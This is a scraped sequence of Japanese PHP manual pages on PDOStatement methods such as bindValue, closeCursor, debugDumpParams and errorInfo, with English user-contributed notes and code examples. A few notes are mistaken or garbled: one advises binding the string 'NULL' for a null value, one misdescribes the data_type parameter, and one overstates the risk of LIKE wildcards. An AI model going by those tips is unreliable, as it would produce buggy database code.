geompse at gmail dot com 29-Jan-2010 03:30
if you are storing files (or binary data), using PARAM_LOB (and moreover trying to do this with Oracle), don't miss this page :

http://php.net/manual/en/pdo.lobs.php

You will there notice that PDO-PGSQL and PDO-OCI don't work the same at all : not the same argument nor the same behaviour.
Steve M 19-Nov-2009 11:28
Note that when using PDOStatement::bindParam an integer is changed to a string value upon PDOStatement::execute(). (Tested with MySQL).

This can cause problems when trying to compare values using the === operator.

Example:
<?php
$active = 1;
var_dump($active);
$ps->bindParam(":active", $active, PDO::PARAM_INT);
var_dump($active);
$ps->execute();
var_dump($active);
if ($active === 1) {
    // do something here
    // note: this will fail since $active is now "1"
}
?>

results in:
int(1)
int(1)
string(1) "1"
dhammari at q90 dot com 08-Jul-2009 11:22
There seems to be some confusion about whether you can bind a single value to multiple identical placeholders. For example:

$sql = "SELECT * FROM user WHERE is_admin = :myValue AND is_deleted = :myValue ";

$params = array("myValue" => "0");

Some users have reported that attempting to bind a single parameter to multiple placeholders yields a parameter mismatch error in PHP version 5.2.0 and earlier. Starting with version 5.2.1, however, this seems to work just fine.

For details, see bug report 40417:
http://bugs.php.net/bug.php?id=40417
jeffwa+php at gmail dot com 11-Jul-2007 01:49
Took me forever to find this elsewhere in the notes in the manual, so I'd thought I'd put this tidbit here to help others in the future.

When using a LIKE search in MySQL along with a prepared statement, the *value* must have the appropriate parentheses attached before the bindParam() statement as such:

<?php
$dbc = $GLOBALS['dbc'];
$sql = "SELECT * FROM `tbl_name` WHERE tbl_col LIKE ?";
$stmt = $dbc->prepare($sql);

$value = "%{$value}%";
$stmt->bindParam($i, $value, PDO::PARAM_STR);
?>

Trying to use
<?php
$stmt->bindParam($i, "%{$value}%", PDO::PARAM_STR);
?>

will fail.
willie at spenlen dot com 14-Jun-2007 11:49
If you're using the MySQL driver and have a stored procedure with an OUT or INOUT parameter, you can't (currently) use bindValue(). See http://bugs.php.net/bug.php?id=35935 for a workaround.
Filofox 10-Apr-2006 03:09
Do not try to use the same named parameter twice in a single SQL statement, for example

<?php
$sql = 'SELECT * FROM some_table WHERE  some_value > :value OR some_value < :value';
$stmt = $dbh->prepare($sql);
$stmt->execute( array( ':value' => 3 ) );
?>

...this will return no rows and no error -- you must use each parameter once and only once. Apparently this is expected behavior (according to this bug report: http://bugs.php.net/bug.php?id=33886)  because of portability issues.
05-Feb-2006 02:25
A caution for those using bindParam() on a placeholder in a
LIKE '%...%' clause, the following code will likely not work:

<?php
$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>

What is needed is something like the following:

<?php
$s = "%$s%";
$sth->bindParam(':foo', $s);
?>

This should work. Tested against mysql 4.1, PHP 5.1.3.


値をパラメータにバインドする

  • ≪ PDOStatement::bindParam
  • PDOStatement::closeCursor ≫
  • PHP Manual
  • PDOStatement
  • 値をパラメータにバインドする

PDOStatement::bindValue

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 1.0.0)

PDOStatement::bindValue — 値をパラメータにバインドする

説明

public PDOStatement::bindValue ( mixed $parameter , mixed $value , int $data_type = PDO::PARAM_STR ) : bool

プリペアドステートメントで使用する SQL 文の中で、 対応する名前あるいは疑問符のプレースホルダに値をバインドします。

パラメータ

parameter

パラメータ ID。名前つきプレースホルダを使用する プリペアドステートメントの場合は、 :name 形式のパラメータ名となります。 疑問符プレースホルダを使用するプリペアドステートメントの場合は、 1 から始まるパラメータの位置となります。

value

パラメータにバインドする値。

data_type

パラメータに対して PDO::PARAM_* 定数 を使った明示的なデータ型を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 名前付けされたプレースホルダを用いてプリペアドステートメントを実行する

<?php
/* バインドされた PHP 変数によってプリペアドステートメントを実行する */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindValue(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR);
$sth->execute();
?>

例2 疑問符プレースホルダを用いてプリペアドステートメントを実行する

<?php
/* バインドされた PHP 変数によってプリペアドステートメントを実行する */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindValue(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();
?>

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::execute() - プリペアドステートメントを実行する
  • PDOStatement::bindParam() - 指定された変数名にパラメータをバインドする

User Contributed Notes

sageptr at gmail dot com 28-Sep-2016 03:32
Be careful in edge cases!
With MySQL native prepares your integer can be wrapped around on some machines:

<?php
$x = 2147483648;
var_dump($x); // prints: int(2147483648)
$s = $db->prepare('SELECT :int AS I, :str AS S;');
$s->bindValue(':int', $x, PDO::PARAM_INT);
$s->bindValue(':str', $x, PDO::PARAM_STR);
$s->execute();
var_dump( $s->fetchAll(PDO::FETCH_ASSOC) );
/* prints: array(2) {
  ["I"]=>
  string(11) "-2147483648"
  ["S"]=>
  string(10) "2147483648"
} */
?>

Also, trying to bind PDO::PARAM_BOOL in MySQL with native prepares can make your query silently fail and return empty set.

Emulated prepares work more stable in this cases, because they convert everything to strings and just decide whenever to quote argument or not to quote.
e-ruiz at git hub 23-Sep-2016 04:40
Be careful when trying to validate using PDO::PARAM_INT.

Take this sample into account:

<?php
/* php --version
 * PHP 5.6.25 (cli) (built: Aug 24 2016 09:50:46)
 * Copyright (c) 1997-2016 The PHP Group
 * Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
 */

$id = '1a';
$stm = $pdo->prepare('select * from author where id = :id');
$bind = $stm->bindValue(':id', $id, PDO::PARAM_INT);

$stm->execute();
$authors = $stm->fetchAll();

var_dump($id);         // string(2)
var_dump($bind);       // true
var_dump((int)$id);    // int(1)
var_dump(is_int($id)); // false
var_dump($authors);    // the author id=1  =(

// remember
var_dump(1 == '1');    // true
var_dump(1 === '1');   // false
var_dump(1 === '1a');  // false
var_dump(1 == '1a');   // true
?>

My opinion: bindValue() should test is_int() internaly first of anything,
It is a bug? I'm not sure.
D.Kellner 15-Jan-2016 05:48
When binding parameters, apparently you can't use a placeholder twice (e.g. "select * from mails where sender=:me or recipient=:me"), you'll have to give them different names otherwise your query will return empty handed (but not fail, unfortunately).  Just in case you're struggling with something like this.
consatangmailcom 24-Sep-2015 11:04
The parameter must names like a php variable.
e.g.
<?php
$dbh = new PDO("mysql:dbname=test;host=127.0.0.1", "user", "password");

$sth = $dbh->prepare("SELECT * FROM `table` WHERE `last-name`=:last-name");

if($sth !== false && $sth->bindValue(":last-name", "Ngo")) {
    $sth->execute();
}

// output: PHP Warning:  PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number: parameter was not defined
?>
Vladimir Kovpak 19-Feb-2015 06:11
<?php
/**
* Bind bit value.
*/

$sql = 'SELECT * FROM myTable WHERE level & ?';
$sth = \App::pdo()->prepare($sql);
$sth->bindValue(1, 0b0101, \PDO::PARAM_INT);
$sth->execute();
$result = $sth->fetchAll(\PDO::FETCH_ASSOC);
me at iabdullah dot info 07-Aug-2014 09:47
The reason that we cannot define the value variable for bindValue() after calling it, is because that it binds the value to the prepared statement immediately and does not wait until the execute() to happen.

The following code will issue a notice and prevent the query from taking place:
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id= :val ");
    $st->bindValue(':val',$val);

    $val = '2';
    $st->execute();
?>
The output:
Notice: Undefined variable: val.

Whereas in the case of bindParam, the evaluation of the value to the parameter will not be performed until the call of execute(). And that's to gain the benefit of reference passing.
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id = :val ");
    $st->bindParam(':val',$val);

    $val = '2';
    //
    // some code
    //
    $val = '3'; // re-assigning the value variable
    $st->execute();
?>
works fine.
contact[at]maximeelomari.com 17-Jul-2011 05:19
This function is useful for bind value on an array. You can specify the type of the value in advance with $typeArray.

<?php
/**
 * @param string $req : the query on which link the values
 * @param array $array : associative array containing the values ??to bind
 * @param array $typeArray : associative array with the desired value for its corresponding key in $array
 * */
function bindArrayValue($req, $array, $typeArray = false)
{
    if(is_object($req) && ($req instanceof PDOStatement))
    {
        foreach($array as $key => $value)
        {
            if($typeArray)
                $req->bindValue(":$key",$value,$typeArray[$key]);
            else
            {
                if(is_int($value))
                    $param = PDO::PARAM_INT;
                elseif(is_bool($value))
                    $param = PDO::PARAM_BOOL;
                elseif(is_null($value))
                    $param = PDO::PARAM_NULL;
                elseif(is_string($value))
                    $param = PDO::PARAM_STR;
                else
                    $param = FALSE;

                if($param)
                    $req->bindValue(":$key",$value,$param);
            }
        }
    }
}

/**
 * ## EXEMPLE ##
 * $array = array('language' => 'php','lines' => 254, 'publish' => true);
 * $typeArray = array('language' => PDO::PARAM_STR,'lines' => PDO::PARAM_INT,'publish' => PDO::PARAM_BOOL);
 * $req = 'SELECT * FROM code WHERE language = :language AND lines = :lines AND publish = :publish';
 * You can bind $array like that :
 * bindArrayValue($array,$req,$typeArray);
 * The function is more useful when you use limit clause because they need an integer.
 * */
?>
Anonymous 18-Jun-2011 08:40
Note that the third parameter ($data_type) in the majority of cases will not type cast the value into anything else to be used in the query, nor will it throw any sort of error if the type does not match up with the value provided. This parameter essentially has no effect whatsoever except throwing an error if it is set and is not a float, so do not think that it is adding any extra level of security to the queries.

The two exceptions where type casting is performed:

- if you use PDO::PDO_PARAM_INT and provide a boolean, it will be converted to a long
- if you use PDO::PDO_PARAM_BOOL and provide a long, it will be converted to a boolean

<?php

$query = 'SELECT * FROM `users` WHERE username = :username AND `password` = ENCRYPT( :password, `crypt_password`)';

$sth= $dbh->prepare($query);

// First try passing a random numerical value as the third parameter
var_dump($sth->bindValue(':username','bob', 12345.67)); // bool(true)

// Next try passing a string using the boolean type
var_dump($sth->bindValue(':password','topsecret_pw', PDO::PARAM_BOOL)); // bool(true)

$sth->execute(); // Query is executed successfully
$result = $sth->fetchAll(); // Returns the result of the query

?>
goofiq dot no dot spam at antispam dot wp dot pl 27-Dec-2009 10:43
bindValue with data_type depend parameter name

<?php

$db = new PDO (...);
$db -> setAttribute (PDO::ATTR_STATEMENT_CLASS, array ('MY_PDOStatement ', array ($db)));

class MY_PDOStatement extends PDOStatement {

  public function execute ($input = array ()) {
    foreach ($input as $param => $value) {
      if (preg_match ('/_id$/', $param))
        $this -> bindValue ($param, $value, PDO::PARAM_INT);
      else
        $this -> bindValue ($param, $value, PDO::PARAM_STR);
    }
    return parent::execute ();
  }

}

?>
cpd-dev 11-Dec-2009 04:46
Although bindValue() escapes quotes it does not escape "%" and "_", so be careful when using LIKE. A malicious parameter full of %%% can dump your entire database if you don't escape the parameter yourself. PDO does not provide any other escape method to handle it.
nicolas dot baptiste at gmail dot com 04-Sep-2009 08:06
This actually works to bind NULL on an integer field in MySQL :

$stm->bindValue(':param', null, PDO::PARAM_INT);
Lambdaman 30-Apr-2009 05:19
If you want to bind a null value to a database field you must use 'NULL' in quotes (for MySQL):

<?php

$stmt->bindValue(:fieldName, 'NULL');

// not
$stmt->bindValue(:fieldName, NULL);
// or
$stmt->bindValue(:fieldName, null);

?>

Using PHP's null/NULL as a value doesn't work.
streaky at mybrokenlogic dot com 08-Jan-2008 02:20
What the bindValue() docs fail to explain without reading them _very_ carefully is that bindParam() is passed to PDO byref - whereas bindValue() isn't.

Thus with bindValue() you can do something like $stmt->bindValue(":something", "bind this"); whereas with bindParam() it will fail because you can't pass a string by reference, for example.
ts//tpdada//art//pl 15-Dec-2006 06:34
For bind whole array at once

<?php

function PDOBindArray(&$poStatement, &$paArray){

  foreach ($paArray as $k=>$v){

    @$poStatement->bindValue(':'.$k,$v);

  } // foreach

 } // function

// example

$stmt = $dbh->prepare("INSERT INTO tExample (id,value) VALUES (:id,:value)");

$taValues = array(
 'id' => '1',
 'value' => '2'
); // array

PDOBindArray($stmt,$taValues);

$stmt->execute();

?>


カーソルを閉じてステートメントを再実行できるようにする

  • ≪ PDOStatement::bindValue
  • PDOStatement::columnCount ≫
  • PHP Manual
  • PDOStatement
  • カーソルを閉じてステートメントを再実行できるようにする

PDOStatement::closeCursor

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.9.0)

PDOStatement::closeCursor — カーソルを閉じてステートメントを再実行できるようにする

説明

public PDOStatement::closeCursor ( ) : bool

PDOStatement::closeCursor() は、 他の SQL ステートメントを発行できるようにサーバーへの接続を解放しますが、 ステートメントは再実行可能な状態のまま残されます。

このメソッドは以前に実行された PDOStatement オブジェクトが行をまだフェッチしていない場合に PDOStatement オブジェクトの実行をサポートしていないデータベースドライバに対して有用です。 もし使用しているデータベースドライバがこの制限を受ける場合、 out-of-sequence エラーが出力されます。

PDOStatement::closeCursor() は、 オプションのドライバ固有のメソッド (最大の効率を得るため) もしくはドライバ固有の関数がインストールされていない場合の汎用的な PDO フォールバックとして実装されています。 汎用的な PDO フォールバックは、PHP スクリプト中に以下のようなコードを書くことと意味的に等価です。

<?php
do {
    while ($stmt->fetch())
        ;
    if (!$stmt->nextRowset())
        break;
} while (true);
?>

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 PDOStatement::closeCursor() の例

以下の例では、PDOStatement オブジェクト $stmt は複数の行を返しますが、このアプリケーションは先頭行のみフェッチし、 PDOStatement オブジェクトをフェッチしていない行がある状態のままにします。 このアプリケーションがが全てのデータベースドライバで動作するよう、 PDOStatement オブジェクト $otherStmt を実行する前に $stmt に対して PDOStatement::closeCursor() の呼び出しを挿入しています。

<?php
/* PDOStatement オブジェクトを生成する */
$stmt = $dbh->prepare('SELECT foo FROM bar');

/* 第二の PDOStatement オブジェクトを生成する */
$otherStmt = $dbh->prepare('SELECT foobaz FROM foobar');

/* 最初の文を実行する */
$stmt->execute();

/* 結果から先頭行のみフェッチする */
$stmt->fetch();

/* 続く closeCursor() のコールはいくつかのドライバでは必要となる */
$stmt->closeCursor();

/* ここで第二の文を実行することができる */
$otherStmt->execute();
?>

参考

  • PDOStatement::execute() - プリペアドステートメントを実行する

User Contributed Notes

Anonymous 01-Jul-2015 03:36
In case this is helpful to anybody else who ends-up here after getting the following error:

SQLState: 24000 [Microsoft][ODBC SQL Server Driver]Invalid cursor state

PDOStatement :: closeCursor() did not fix the issue for me. However, adding SET NOCOUNT ON to the beginning of my stored procedure did.
Anonymous 19-Jun-2015 09:44
At least with MySQL this function also resets any bound columns, so the fetches will go through as expected but you will be getting stale data in the loop.

Redo all the binds before continuing!
jhill9693 at gmail dot com 02-May-2011 08:34
If you ran a SQL statement (vs a query that returns data) such as UPDATE, try unsetting your PDOStatement object instead of calling PDOStatement::closeCursor().
narada dot sage at googlemail dot com 29-Apr-2006 01:23
When running multiple queries one after another especially when stored procedures are involved one must release all result sets and fetch all rows in each result set for a stored procedure before moving onto the next query.  This is important because a stored procedure returns an extra (empty) result set as a result of having called the procedure itself.

In my case calling PDOStatement :: closeCursor() did not work (on php-5.1.3-rc2) and I was presented with the following error message: "SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query" upon trying to PDO :: prepare() my second query.  So I used the following drop in replacement within one of my classes which fixed the issue.

<?php
/**
 * @param PDOStatement $oStm
 */
public static function closeCursor($oStm) {
    do $oStm->fetchAll();
    while ($oStm->nextRowSet());
}
?>


結果セット中のカラム数を返す

  • ≪ PDOStatement::closeCursor
  • PDOStatement::debugDumpParams ≫
  • PHP Manual
  • PDOStatement
  • 結果セット中のカラム数を返す

PDOStatement::columnCount

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDOStatement::columnCount — 結果セット中のカラム数を返す

説明

public PDOStatement::columnCount ( ) : int

PDOStatement オブジェクトに相当する結果セットにあるカラム数を返すために PDOStatement::columnCount() を使用します。

もし PDOStatement オブジェクトが PDO::query() から返された場合、カラム数は直ちに利用可能です。

もし PDOStatement オブジェクトが PDO::prepare() から返された場合、正確なカラム数は PDOStatement::execute() を実行するまで利用可能になりません。

返り値

PDOStatement オブジェクトに相当する結果セットにあるカラム数を返します。 結果セットが空である場合でも同様です。 もし結果セットがなければ、PDOStatement::columnCount() は 0 を返します。

例

例1 カラム数を数える

この例は、結果セットがある場合とない場合で、 PDOStatement::columnCount() がどのように動作するかを例示しています。

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->prepare("SELECT name, colour FROM fruit");

/* (存在しない) 結果セットにあるカラム数を数える */
$colcount = $sth->columnCount();
print("Before execute(), result set has $colcount columns (should be 0)\n");

$sth->execute();

/* 結果セットにあるカラム数を数える */
$colcount = $sth->columnCount();
print("After execute(), result set has $colcount columns (should be 2)\n");

?>

上の例の出力は以下となります。

Before execute(), result set has 0 columns (should be 0)
After execute(), result set has 2 columns (should be 2)

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::execute() - プリペアドステートメントを実行する
  • PDOStatement::rowCount() - 直近の SQL ステートメントによって作用した行数を返す

User Contributed Notes

756567406 at qq dot com 01-Dec-2016 06:21
When you use query method, You'll get count right away

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->query("SELECT name, colour FROM fruit");
$count = $sth->columnCount();

echo 'query count is '.$count;

?>


SQL プリペアドコマンドを出力する

  • ≪ PDOStatement::columnCount
  • PDOStatement::errorCode ≫
  • PHP Manual
  • PDOStatement
  • SQL プリペアドコマンドを出力する

PDOStatement::debugDumpParams

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.9.0)

PDOStatement::debugDumpParams — SQL プリペアドコマンドを出力する

説明

public PDOStatement::debugDumpParams ( ) : void

プリペアドステートメントに含まれる以下のような情報を直接出力します。 使用する SQL クエリ、使用するパラメータ数 (Params)、パラメータリスト、パラメータ名、 パラメータの型 (paramtype) をあらわす整数値、 そのキーの名前あるいは位置、そしてクエリ内での位置 (PDO ドライバがサポートしている場合のみ。サポートしていない場合は -1 となります) 、型 (param_type) を表す整数値、boolean 値 is_param。

これはデバッグ用関数です。結果を標準出力にそのまま出力します。

ヒント

ブラウザに直接結果を出力する すべてのものと同様に、出力制御関数 を使用してこの関数の出力をキャプチャーし、(例えば)文字列 (string)に保存することが可能です。

これは、出力時にステートメント内にあるパラメータのみを出力します。 追加パラメータはステートメントに格納されておらず、出力されません。

返り値

値を返しません。

例

例1 名前つきパラメータを用いた PDOStatement::debugDumpParams() の例

<?php
/* プリペアドステートメントを、PHP の変数をバインドして実行します */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();

$sth->debugDumpParams();

?>

上の例の出力は以下となります。

SQL: [96] SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour
Params:  2
Key: Name: [9] :calories
paramno=-1
name=[9] ":calories"
is_param=1
param_type=1
Key: Name: [7] :colour
paramno=-1
name=[7] ":colour"
is_param=1
param_type=2

例2 名前なしパラメータを用いた PDOStatement::debugDumpParams() の例

<?php

/* プリペアドステートメントを、PHP の変数をバインドして実行します */
$calories = 150;
$colour = 'red';
$name = 'apple';

$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();

$sth->debugDumpParams();

?>

上の例の出力は以下となります。

SQL: [82] SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?
Params:  2
Key: Position #0:
paramno=0
name=[0] ""
is_param=1
param_type=1
Key: Position #1:
paramno=1
name=[0] ""
is_param=1
param_type=2

変更履歴

バージョン | 説明
7.2.0 | PDOStatement::debugDumpParams() は、データベースに送られた 完全な、(プレースホルダーをバインドされた値で置き換えた) 生のSQLクエリを返すようになりました。 これは、プリペアドステートメントがエミュレートされていた場合のみ利用できることに注意してください。

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::bindParam() - 指定された変数名にパラメータをバインドする
  • PDOStatement::bindValue() - 値をパラメータにバインドする

User Contributed Notes

Lucas 15-Dec-2015 02:15
This function doesn't have a return, so if you want to do something with it you'll have to do something like

<?php
function pdo_debugStrParams($stmt) {
  ob_start();
  $stmt->debugDumpParams();
  $r = ob_get_contents();
  ob_end_clean();
  return $r;
}

// omitted: connect to the database and prepare a statement
echo '<pre>'.htmlspecialchars(pdo_debugStrParams($stmt)).'</pre>';
?

Source: http://stackoverflow.com/questions/22157331/something-like-debugdumpparams-in-pdo-settable-to-a-string
mark at manngo dot net 07-Oct-2013 01:21
As noted, this doesn't actually simply print the prepared statement with data to be executed.

For trouble shooting purposes, I find the following useful:

<?php
    function parms($string,$data) {
        $indexed=$data==array_values($data);
        foreach($data as $k=>$v) {
            if(is_string($v)) $v="'$v'";
            if($indexed) $string=preg_replace('/\?/',$v,$string,1);
            else $string=str_replace(":$k",$v,$string);
        }
        return $string;
    }

    //    Index Parameters
        $string='INSERT INTO stuff(name,value) VALUES (?,?)';
        $data=array('Fred',23);

    //    Named Parameters
        $string='INSERT INTO stuff(name,value) VALUES (:name,:value)';
        $data=array('name'=>'Fred','value'=>23);

    print parms($string,$data);
?>
thefox 16-Apr-2013 05:58
This function doesn't print parameter values despite the documentation says it does. See https://bugs.php.net/bug.php?id=52384 (filed back in 2010).


文ハンドラにおける直近の操作に関連する SQLSTATE を取得する

  • ≪ PDOStatement::debugDumpParams
  • PDOStatement::errorInfo ≫
  • PHP Manual
  • PDOStatement
  • 文ハンドラにおける直近の操作に関連する SQLSTATE を取得する

PDOStatement::errorCode

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::errorCode — 文ハンドラにおける直近の操作に関連する SQLSTATE を取得する

説明

public PDOStatement::errorCode ( ) : string

返り値

PDOStatement::errorCode() は PDOStatement オブジェクトを用いて実行された操作に対する エラーコードを取得することを除き、 PDO::errorCode() と等価です。

例

例1 SQLSTATE コードを取得する

<?php
/* エラーを発生させる -- BONES テーブルは存在しない */
$err = $dbh->prepare('SELECT skull FROM bones');
$err->execute();

echo "\nPDOStatement::errorCode(): ";
print $err->errorCode();
?>

上の例の出力は以下となります。

PDOStatement::errorCode(): 42S02

参考

  • PDO::errorCode() - データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する
  • PDO::errorInfo() - データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する
  • PDOStatement::errorInfo() - 文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する

User Contributed Notes

dbeecher at tekops dot com 21-Aug-2008 02:50
Neither this property nor the PDOStatement::errorInfo() properties are available if you create  your own exception handler.

I am using PHP 5.2.4, PDO_INFORMIX 1.2.0.

Making this call at any point in the program after setting your own exception handler produces an error:

PHP Notice:  Undefined property:  PDOStatement::$errorCode in new_query.php on line

or

PHP Notice:  Undefined property:  PDOStatement::$errorInfo in new_query.php on line

But if I set the PDO to SILENT, only set error codes with:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT)

Then process with if/else the call to this functions works fine.  The examples below only do error checking to show the result codes of this function.  Normally you would want more.

FAILS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try  {
      $result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
      if ($result) print "success!";
      }
catch
      {
      $myeCode = $dbh->errorCode();
      /* do stuff with error */
      };

$dbh=0;

The error handler gets called but knows nothing about $dbh->errorCode or $dbh->errorInfo.

WORKS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
if ($result)
      {
      /* process result */
      print "success!";

      /* all done, didn't make any changes */
      $dbh->rollback();
      }
else
      {
      $myeCode = $dbh->errorCode();
      print_r($myeCode);
      };

$dbh=0;  /* close connection */

I hope this helps someone else.
Cheers,
David
vaclav dot sir at gmail dot com 05-Jun-2006 08:59
Statement's errorCode() returns an empty string before execution, and '00000' (five zeros) after a sucessfull execution:

<?php
$stmt = $pdo->prepare($query);
assert($stmt->errorCode === '');

$stmt->execute();
assert($stmt->errorCode === '00000');
?>


文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する

  • ≪ PDOStatement::errorCode
  • PDOStatement::execute ≫
  • PHP Manual
  • PDOStatement
  • 文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する

PDOStatement::errorInfo

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::errorInfo — 文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する

説明

public PDOStatement::errorInfo ( ) : array

返り値

PDOStatement::errorInfo() は、 この文ハンドラによって実行された直近の操作に関するエラー情報を 配列として返します。この配列は少なくとも次のフィールドを含みます。

要素 | 情報
0 | SQLSTATE エラーコード (これは、ANSI SQL 標準で定義された英数 5 文字の ID)
1 | ドライバ固有のエラーコード
2 | ドライバ固有のエラーメッセージ

例

例1 DB2 データベースに対する PDO_ODBC 接続の errorInfo() フィールドを表示する

<?php
/* エラーを発生させる -- BONES テーブルは存在しない */
$sth = $dbh->prepare('SELECT skull FROM bones');
$sth->execute();

echo "\nPDOStatement::errorInfo():\n";
$arr = $sth->errorInfo();
print_r($arr);
?>

上の例の出力は以下となります。

PDOStatement::errorInfo():
Array
(
    [0] => 42S02
    [1] => -204
    [2] => [IBM][CLI Driver][DB2/LINUX] SQL0204N  "DANIELS.BONES" is an undefined name.  SQLSTATE=42704
)

参考

  • PDO::errorCode() - データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する
  • PDO::errorInfo() - データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する
  • PDOStatement::errorCode() - 文ハンドラにおける直近の操作に関連する SQLSTATE を取得する

User Contributed Notes

richardverason at gmail dot com 09-Jun-2019 02:51
Seriously errorInfo  is your friend. Use it.

If these look like your google searches then you need errorInfo

"no database error showing in php"
"pdo selects from database but wont insert"
"pdo insert not working"
"isnt pdo just a big hype, should I go back to mysql?"
"how much do surgeons make?"

Trust me it will definitely save you hours of insanity if you make it  a habit to use it in development. Forget E-ALL, it failed me since well, E-ALL apparently doesn't know that I didn't set a default value in my MySQL table and my query wasnt adding anything to it. So always do this

<?php

    $sql = 'do something on a mysql table where foo = :bar';
    $stmt = prepare($sql);
    $stmt->bindValue(':bar', $foo, PDO::PARAM_[DATA TYPE]);
    $stmt->execute();

    // very important during development. But take it off in production
    $foo_arr = $stmt->errorInfo();
    print_r($foo_arr);

    //Sample print_r return
    /*
    Array(
        [0] => HY000
        [1] => 1364
        [2] => Field 'phone' doesn't have a default value
    )
   Never have I been so happy to see an error
    */
?>

While its common practice for any decent developer to always watch out and try to catch for errors, even the best of us make mistakes. This is not a replacement for exceptions, but the simplicity is priceless.
lingtalfi at gmail dot com 17-Dec-2015 09:27
Ansi sql state Error codes can be found here:

https://docs.oracle.com/cd/F49540_01/DOC/server.815/a58231/appd.htm
Geoffrey Hoffman 22-Jul-2015 04:45
If your query is successful, PDO::errorInfo() still returns an array. For MySQL 5.x, I get the following...

Array
(
    [0] => 00000
    [1] =>
    [2] =>
)
Deuchnord 11-Jun-2015 08:48
Sorry, my example below is not correct, this is a correction:

<?php
$listOfUsers = $db->query('SELECT name from uesrs');
$errorInfo = $listOfUsers->errorInfo();
if($errorInfo[0] != 0)
    die($errorInfo[2]);
?>


プリペアドステートメントを実行する

  • ≪ PDOStatement::errorInfo
  • PDOStatement::fetch ≫
  • PHP Manual
  • PDOStatement
  • プリペアドステートメントを実行する

PDOStatement::execute

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::execute — プリペアドステートメントを実行する

説明

public PDOStatement::execute ( array $input_parameters = null ) : bool

プリペアドステートメントを実行します。 もし、プリペアドステートメントがパラメータマーカを含む場合、次のいずれかを行わなければなりません。

  • パラメータマーカに PHP 変数や値を(それぞれ)バインドするため PDOStatement::bindParam() や PDOStatement::bindValue() をコールする。 関連づけされたパラメータマーカがあれば、バインドされた変数は入力値を渡す もしくは出力値を受け取ります。

  • あるいは、入力専用のパラメータ値の配列を渡す

パラメータ

input_parameters

実行される SQL 文の中のバインドパラメータと同数の要素からなる、 値の配列。すべての値は PDO::PARAM_STR として扱われます。

ひとつのパラメータに対して複数の値をバインドすることはできません。 例えば、IN() 句の中のひとつのパラメータに対して 2 つの値をバインドすることはできません。

指定した数よりも多い値をバインドすることはできません。 input_parameters のキーが PDO::prepare() で指定した SQL にある数より多い場合は、 ステートメントが失敗してエラーが発生します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 変数や値のバインドを伴うプリペアドステートメントの実行

<?php
/* 変数や値のバインドを伴うプリペアドステートメントの実行 */
$calories = 150;
$colour = 'gre';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour LIKE :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', "%{$colour}%");
$sth->execute();
?>

例2 入力値の配列を伴うプリペアドステートメントの実行 (名前つきパラメータ)

<?php
/* 入力値の配列を伴うプリペアドステートメントの実行 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->execute(array(':calories' => $calories, ':colour' => $colour));
?>

